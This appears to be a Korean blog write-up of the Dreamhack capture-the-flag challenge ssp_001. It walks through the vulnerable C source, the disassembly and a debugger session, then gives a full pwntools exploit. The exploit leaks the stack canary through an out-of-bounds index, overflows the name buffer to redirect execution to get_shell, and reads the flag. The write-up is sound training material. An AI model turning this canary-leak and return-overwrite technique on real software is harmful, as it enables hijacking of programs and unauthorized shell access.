War Game/Pwnable

[Dreamhack] ssp_001

GunP4ng 2024. 5. 5. 20:09

ssp_001 문제 풀이


1. 취약점 확인

1. C 언어

먼저 checksec 명령어로 취약점을 확인해보자

$ checksec ssp_001
[*] '/workspaces/codespaces-blank/Dreamhack/ssp/ssp_001'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

x86  아키텍처에 카나리가 적용된 것을 확인할 수 있다.

 

이제 C코드를 확인해보자

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
    puts("[F]ill the box");
    puts("[P]rint the box");
    puts("[E]xit");
    printf("> ");
}
int main(int argc, char *argv[]) {
    unsigned char box[0x40] = {};
    char name[0x40] = {};
    char select[2] = {};
    int idx = 0, name_len = 0;
    initialize();
    while(1) {
        menu();
        read(0, select, 2);
        switch( select[0] ) {
            case 'F':
                printf("box input : ");
                read(0, box, sizeof(box));
                break;
            case 'P':
                printf("Element index : ");
                scanf("%d", &idx);
                print_box(box, idx);
                break;
            case 'E':
                printf("Name Size : ");
                scanf("%d", &name_len);
                printf("Name : ");
                read(0, name, name_len);
                return 0;
            default:
                break;
        }
    }
}

F 를 입력하면 box 의 값을 입력 받는다

P 를 입력하면 print_box 함수로 해당 인덱스의 값을 출력한다

E 를 입력하면 name_len 으로 입력받을 크기를 먼저 입력 받는다.

그 다음 name 을 입력 받는다

 

void get_shell() {
    system("/bin/sh");
}

셸을 실행할 수 있는 get_shell 함수가 있다.

 

void print_box(unsigned char *box, int idx) {
    printf("Element of index %d is : %02x\n", idx, box[idx]);
}

box의 원하는 index 값을 출력해주는 print_box 함수가 있다

 

printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);

E 를 입력하고 난 뒤의 실행되는 부분이다.

name_len 에 0x40 이상을 입력하여 name 크기 이상을 입력 받을 수 있다.

→ BOF 가 발생한다.

 

2. 어셈블리 확인

1. 정적 디버깅

main 함수의 어셈블리를 확인해보자

   0x0804872b <+0>:     push   ebp
   0x0804872c <+1>:     mov    ebp,esp
   0x0804872e <+3>:     push   edi
   0x0804872f <+4>:     sub    esp,0x94
   0x08048735 <+10>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:    mov    DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:    mov    eax,gs:0x14
   0x08048744 <+25>:    mov    DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:    xor    eax,eax
   0x08048749 <+30>:    lea    edx,[ebp-0x88]                   ; box = ebp-0x88
   0x0804874f <+36>:    mov    eax,0x0
   0x08048754 <+41>:    mov    ecx,0x10
   0x08048759 <+46>:    mov    edi,edx
   0x0804875b <+48>:    rep stos DWORD PTR es:[edi],eax
   0x0804875d <+50>:    lea    edx,[ebp-0x48]                   ; name = ebp-0x48
   0x08048760 <+53>:    mov    eax,0x0
   0x08048765 <+58>:    mov    ecx,0x10
   0x0804876a <+63>:    mov    edi,edx
   0x0804876c <+65>:    rep stos DWORD PTR es:[edi],eax
   0x0804876e <+67>:    mov    WORD PTR [ebp-0x8a],0x0
   0x08048777 <+76>:    mov    DWORD PTR [ebp-0x94],0x0
   0x08048781 <+86>:    mov    DWORD PTR [ebp-0x90],0x0
   0x0804878b <+96>:    call   0x8048672 <initialize>
   0x08048790 <+101>:   call   0x80486f1 <menu>
   0x08048795 <+106>:   push   0x2                              ; 2
   0x08048797 <+108>:   lea    eax,[ebp-0x8a]                   ; select = ebp-0x8a
   0x0804879d <+114>:   push   eax                              ; select
   0x0804879e <+115>:   push   0x0                              ; 0
   0x080487a0 <+117>:   call   0x80484a0 <read@plt>             ; select(0, select, 2)
   0x080487a5 <+122>:   add    esp,0xc
   0x080487a8 <+125>:   movzx  eax,BYTE PTR [ebp-0x8a]
   0x080487af <+132>:   movsx  eax,al
   0x080487b2 <+135>:   cmp    eax,0x46                         ; F
   0x080487b5 <+138>:   je     0x80487c6 <main+155>
   0x080487b7 <+140>:   cmp    eax,0x50                         ; P
   0x080487ba <+143>:   je     0x80487eb <main+192>
   0x080487bc <+145>:   cmp    eax,0x45                         ; E
   0x080487bf <+148>:   je     0x8048824 <main+249>
   0x080487c1 <+150>:   jmp    0x804887a <main+335>
   0x080487c6 <+155>:   push   0x804896c                        ; "box input : "
   0x080487cb <+160>:   call   0x80484b0 <printf@plt>           ; printf("box input")
   0x080487d0 <+165>:   add    esp,0x4
   0x080487d3 <+168>:   push   0x40                             ; sizeof(box) 0x40
   0x080487d5 <+170>:   lea    eax,[ebp-0x88]                   ; box = ebp-0x88
   0x080487db <+176>:   push   eax                              ; box
   0x080487dc <+177>:   push   0x0                              ; 0
   0x080487de <+179>:   call   0x80484a0 <read@plt>             ; read(0, box, sizeof(box))
   0x080487e3 <+184>:   add    esp,0xc
   0x080487e6 <+187>:   jmp    0x804887a <main+335>
   0x080487eb <+192>:   push   0x8048979                        ; "Element index : "
   0x080487f0 <+197>:   call   0x80484b0 <printf@plt>           ; printf("Element index : ")
   0x080487f5 <+202>:   add    esp,0x4
   0x080487f8 <+205>:   lea    eax,[ebp-0x94]                   ; idx = ebp-0x94
   0x080487fe <+211>:   push   eax                              ; idx
   0x080487ff <+212>:   push   0x804898a                        ; %d
   0x08048804 <+217>:   call   0x8048540 <__isoc99_scanf@plt>   ; scanf("%d", &idx)
   0x08048809 <+222>:   add    esp,0x8
   0x0804880c <+225>:   mov    eax,DWORD PTR [ebp-0x94]         ; ebp-0x94 = idx
   0x08048812 <+231>:   push   eax                              ; idx
   0x08048813 <+232>:   lea    eax,[ebp-0x88]                   ; ebp-0x88 = box
   0x08048819 <+238>:   push   eax                              ; box
   0x0804881a <+239>:   call   0x80486cc <print_box>            ; print_box(box, idx)
   0x0804881f <+244>:   add    esp,0x8
   0x08048822 <+247>:   jmp    0x804887a <main+335>
   0x08048824 <+249>:   push   0x804898d                        ; "Name Size : "
   0x08048829 <+254>:   call   0x80484b0 <printf@plt>           ; printf("Name Size : ")
   0x0804882e <+259>:   add    esp,0x4
   0x08048831 <+262>:   lea    eax,[ebp-0x90]                   ; name_len = ebp-0x90
   0x08048837 <+268>:   push   eax                              ; name_len
   0x08048838 <+269>:   push   0x804898a                        ; %d
   0x0804883d <+274>:   call   0x8048540 <__isoc99_scanf@plt>   ; scanf("%d", &name_len)
   0x08048842 <+279>:   add    esp,0x8
   0x08048845 <+282>:   push   0x804899a                        ; "Name : "
   0x0804884a <+287>:   call   0x80484b0 <printf@plt>           ; printf("Name : ")
   0x0804884f <+292>:   add    esp,0x4
   0x08048852 <+295>:   mov    eax,DWORD PTR [ebp-0x90]         ; ebp-0x90 = name_len
   0x08048858 <+301>:   push   eax                              ; name_len
   0x08048859 <+302>:   lea    eax,[ebp-0x48]                   ; ebp-0x48 = name
   0x0804885c <+305>:   push   eax                              ; name
   0x0804885d <+306>:   push   0x0                              ; 0
   0x0804885f <+308>:   call   0x80484a0 <read@plt>             ; read(0, name, name_len)
   0x08048864 <+313>:   add    esp,0xc
   0x08048867 <+316>:   mov    eax,0x0
   0x0804886c <+321>:   mov    edx,DWORD PTR [ebp-0x8]
   0x0804886f <+324>:   xor    edx,DWORD PTR gs:0x14
   0x08048876 <+331>:   je     0x8048884 <main+345>
   0x08048878 <+333>:   jmp    0x804887f <main+340>
   0x0804887a <+335>:   jmp    0x8048790 <main+101>
   0x0804887f <+340>:   call   0x80484e0 <__stack_chk_fail@plt>
   0x08048884 <+345>:   mov    edi,DWORD PTR [ebp-0x4]
   0x08048887 <+348>:   leave  
   0x08048888 <+349>:   ret
  • box = ebp - 0x88
  • name = ebp - 0x48
  • select = ebp - 0x8a
  • idx = ebp - 0x94
  • name_len = ebp - 0x90

 

   0x08048735 <+10>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048738 <+13>:    mov    DWORD PTR [ebp-0x98],eax
   0x0804873e <+19>:    mov    eax,gs:0x14
   0x08048744 <+25>:    mov    DWORD PTR [ebp-0x8],eax
   0x08048747 <+28>:    xor    eax,eax

카나리값을 스택에 넣는 코드이다

32bit 이기 때문에 카나리 값은 4 byte 이다 

카나리 값이 ebp - 0x4 에 들어가야 한다.

 

카나리 값이 ebp - 0x8 에 들어가고 있다.

동적디버깅으로 자세히 확인해보자.

 

2. 동적 디버깅

ebp 를 알아내기 위해 main +3 bp 를 걸고 실행한다

pwndbg> b *main +3
Breakpoint 1 at 0x804872c
pwndbg> r

   0x804872c <main+1>     mov    ebp, esp
 ► 0x804872e <main+3>     push   edi                           <_GLOBAL_OFFSET_TABLE_>
   0x804872f <main+4>     sub    esp, 0x94
   0x8048735 <main+10>    mov    eax, dword ptr [ebp + 0xc]
   
pwndbg> p $ebp
$2 = (void *) 0xffffc3d8
  • ebp = 0xffffc3d8

 

canary 값을 알아내기 위해 main +25 에 bp 를 걸고 실행한다

pwndbg> b *main +25
Breakpoint 2 at 0x8048744
pwndbg> c
Continuing.

   0x8048738 <main+13>    mov    dword ptr [ebp - 0x98], eax
   0x804873e <main+19>    mov    eax, dword ptr gs:[0x14]
 ► 0x8048744 <main+25>    mov    dword ptr [ebp - 8], eax
   0x8048747 <main+28>    xor    eax, eax
   0x8048749 <main+30>    lea    edx, [ebp - 0x88]
   
pwndbg> p /a $eax
$4 = 0x2d5add00

eax 값을 출력하면 카나리 값을 알아낼 수 있다

  • canary = 0x2d5add00

 

canary 와 SFP 사이의 거리를 알아내기 위해 main +308 에 bp 를 걸고 실행한다

pwndbg> b *main +308
Breakpoint 3 at 0x804885f
pwndbg> c
Continuing.
[F]ill the box
[P]rint the box
[E]xit
> F
box input : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[F]ill the box
[P]rint the box
[E]xit
> [F]ill the box
[P]rint the box
[E]xit
> E
Name Size : 30
Name : 
Breakpoint 3, 0x0804885f in main ()

► 0x804885f <main+308>    call   read@plt                     <read@plt>
        fd: 0x0 (/dev/pts/1)
        buf: 0xffffc390 ◂— 0x0
        nbytes: 0x1e
 
   0x8048864 <main+313>    add    esp, 0xc
   0x8048867 <main+316>    mov    eax, 0
   
pwndbg>

F 를 입력하고 box 에 0x40, 64만큼의 dummy 값을 채워 box 와 name 을 확인할 수 있다.

E 에는 대충 아무값이나 입력하였다

 

스택을 확인해보자

pwndbg> x/80wx $esp
0xffffc334:     0x00000000      0xffffc390      0x0000001e      0xffffc474
0xffffc344:     0x00000000      0x0000001e      0x0a45b9f9      0x61616161
0xffffc354:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffc364:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffc374:     0x61616161      0x61616161      0x61616161      0x61616161
0xffffc384:     0x61616161      0x61616161      0x61616161      0x00000000
0xffffc394:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffc3a4:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffc3b4:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffc3c4:     0x00000000      0x00000000      0x00000000      0x2d5add00 ;canary
0xffffc3d4:     0xf7fba000      0x00000000 ;SFP 0xf7de9ed5 ;RET 0x00000001
0xffffc3e4:     0xffffc474      0xffffc47c      0xffffc404      0xf7fba000
0xffffc3f4:     0x00000000      0xffffc458      0x00000000      0xf7ffd000
0xffffc404:     0x00000000      0xf7fba000      0xf7fba000      0x00000000
0xffffc414:     0xfc62f1d1      0xbed817c1      0x00000000      0x00000000
0xffffc424:     0x00000000      0x00000001      0x08048560      0x00000000
0xffffc434:     0xf7fe7ae4      0xf7fe22b0      0xf7ffd000      0x00000001
0xffffc444:     0x08048560      0x00000000      0x08048581      0x0804872b
0xffffc454:     0x00000001      0xffffc474      0x08048890      0x080488f0
0xffffc464:     0xf7fe22b0      0xffffc46c      0x0000001c      0x00000001

40xffffc350 부터 0xffffc38c 까지 값이 들어간 것을 확인할 수 있다.

  • ebp = 0xffffc3d8
  • canary = 0x2d5add00

canary 와 ebp 사이에 0xf7fba000 이라는 4byte dummy 값이 존재한다.

 

pwndbg> p get_shell
$1 = {<text variable, no debug info>} 0x80486b9 <get_shell>

get_shell 함수의 주소는 0x80486b9 이다

 

 

2. 스택 프레임

1. 스택 프레임 구조

 

스택 프레임 구조

box 와 name 의 크기는 각각 0x40이다

canary 와 SFP 사이에는 4byte dummy 값이 존재한다.

 

메뉴에서 F 를 입력하고

box 를 dummy 값으로 채운다

 

메뉴에서 P 를 입력하고

index 를 128, 129, 130, 131 를 입력하여

canary 값을 알아낸다.

 

메뉴에서 E 를 입력하고

name_len 을  0x50 (80) 보다 크게 입력한다

 

name 에 0x40 (64)만큼 dummy 값을 입력하고

알아낸 canary 를 이용하여 덮어씌운다.

SFP 까지 8byte 만큼 dummy 값을 입력하고

RET 에 알아낸 get_shell() 함수의 주소를 입력하면 셸을 얻을 수 있을 것이다.

페이로드 구성

 

 

3. 페이로드 (Payload)

1. pwntools 코드 작성

from pwn import *

context.log_level='debug'
context(arch='i386', os = 'linux')

p = remote('host3.dreamhack.games', 14073)

p.recvuntil('> ')
p.send('F')

p.recvuntil('box input : ')
p.send(b'A' * 0x40)

canary_leak = ''
for i in range(128, 132) :
    p.recvuntil('> ')
    p.send('P')
    p.recvuntil('Element index : ')
    p.sendline(str(i))
    p.recvuntil('is : ')
    canary_leak = canary_leak + chr(int(p.recvn(2), 16))
    
canary = u32(canary_leak)
print('canary : {}'.format(hex(canary)))

p.recvuntil('> ')
p.send('E')
p.recvuntil('Name Size : ')
p.sendline(str(100))
p.recvuntil('Name : ')

get_shell = 0x80486b9

payload = b'A' * 0x40
payload += p32(canary)
payload += b'A' * 8
payload += p32(get_shell)

p.send(payload)

p.interactive()

pwntools 로 코드를 작성하였다.

 

코드를 작성해야 할 때 주의해야 할 점이 있다.

p.sendline(str(i))

이런식으로 자료형을 바꿔서 보낼 때는 sendline 으로 보내야

정상적으로 값이 보내진다.

 

canary_leak = canary_leak + chr(int(p.recvn(2), 16))

문자열끼리 더해야 하기 때문에 카나리 값을 16진수 int형으로 바꾸고

다시 문자형으로 바꿔주어야 정상적으로 더해진다.

 

위와 같이 코드를 작성하고 실행하면

$ python3 ./payload.py

$ id
uid=1000(ssp_001) gid=1000(ssp_001) groups=1000(ssp_001)
$ ls
flag
run.sh
ssp_001
$ cat flag
DH{-------------------------------}

플래그를 획득할 수 있다